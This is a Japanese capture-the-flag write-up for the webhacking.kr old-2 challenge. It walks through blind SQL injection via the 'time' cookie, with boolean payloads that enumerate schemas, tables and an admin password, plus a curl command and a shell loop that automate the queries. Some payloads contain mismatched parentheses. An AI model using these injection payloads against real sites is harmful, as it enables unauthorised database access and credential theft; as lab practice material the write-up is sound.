webhacking.kr old-2

2707 ワード

クッキーにクエリーを追加すると、終了位置は1または0になります.
点字問題
substr()
ascii()
length()
count()
コマンドが使用されます.
# payload : 1 and 2 > 1
# query : SELECT db FROM table WHERE time 1 and 2>1

=> TRUE
# payload : 0 and 2 > 1
# query : SELECT db FROM table WHERE time 0 and 2>1

=> FALSE
payload : 0 or 2 > 1
query : SELECT db FROM table WHERE time 0 or 2>1
=> TRUE
# payload : 1 and (SELECT count(schema_name) FROM information_schema.schemata) > 1 (true)
# payload : 1 and (SELECT count(schema_name) FROM information_schema.schemata) > 2 (false)
したがって、データベースの合計数は2つです.
長さを一つ一つ知る.
# payload :1 and length((SELECT schema_name FROM information_schema.schemata LIMIT 0,1)) > 1 (false)
# payload :1 and length((SELECT schema_name FROM information_schema.schemata LIMIT 0,1)) > 2 (false)
... 
# payload :1 and length((SELECT schema_name FROM information_schema.schemata LIMIT 0,1)) = 18 (true)
したがって、18は最初のデータベース名の長さが18である
# payload :1 and length((SELECT schema_name FROM information_schema.schemata LIMIT 1,1)) > 5 (true)
# payload :1 and length((SELECT schema_name FROM information_schema.schemata LIMIT 1,1)) > 6 (false)
したがって、2番目のデータベースの名前は6です.
ex)1とascii("A")=65//true出現、ほほほ
1 and ascii('c')=99
# payload :1 and ascii(substr(SELECT schema_name FROM information_schema.schemata LIMIT 1,1) 1,1)) = 99  (true) 
1文字目は「c」で始まり、2文字目から6文字目までを繰り返すと
2番目のデータベース名はchall 2
# payload :1 and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema='chall2')=2 (true)
そしてそこには机が2つあります.
テーブルの長さもいちいち聞いてみます.admin area pwという13ビットテーブルがあります.
# payload :1 and length((SELECT pw FROM chall2.admin_area_pw LIMIT 0, 1))=17 (true)

# payload :1 and ascii(substr(SELECT pw FROM chall2.admin_area_pw LIMIT 0,1),[1~17],1) = [1~1000]
やったら答えがある.

 curl https://webhacking.kr/challenge/web-02/ -b "time=1 and length((SELECT pw FROM chall2.admin_area_pw LIMIT 0, 1))=17;PHPSESSID=anm3cnq6qj7qj530ns8rrll8up"
#!/bin/sh

while true
    do
        read query;
        curl https://webhacking.kr/challenge/web-02/ -b "time=1 and 
        $query;PHPSESSID=zzz";
        echo ">";
    done
CMDは四肢室で開かないため,コードサーバ上でShellスクリプトを記述した.
クエリーではsubstr()を使用して1文字ずつ抽出し、その文字をascii()で囲み、整数にします.次に、不等号を使用して整数を探します.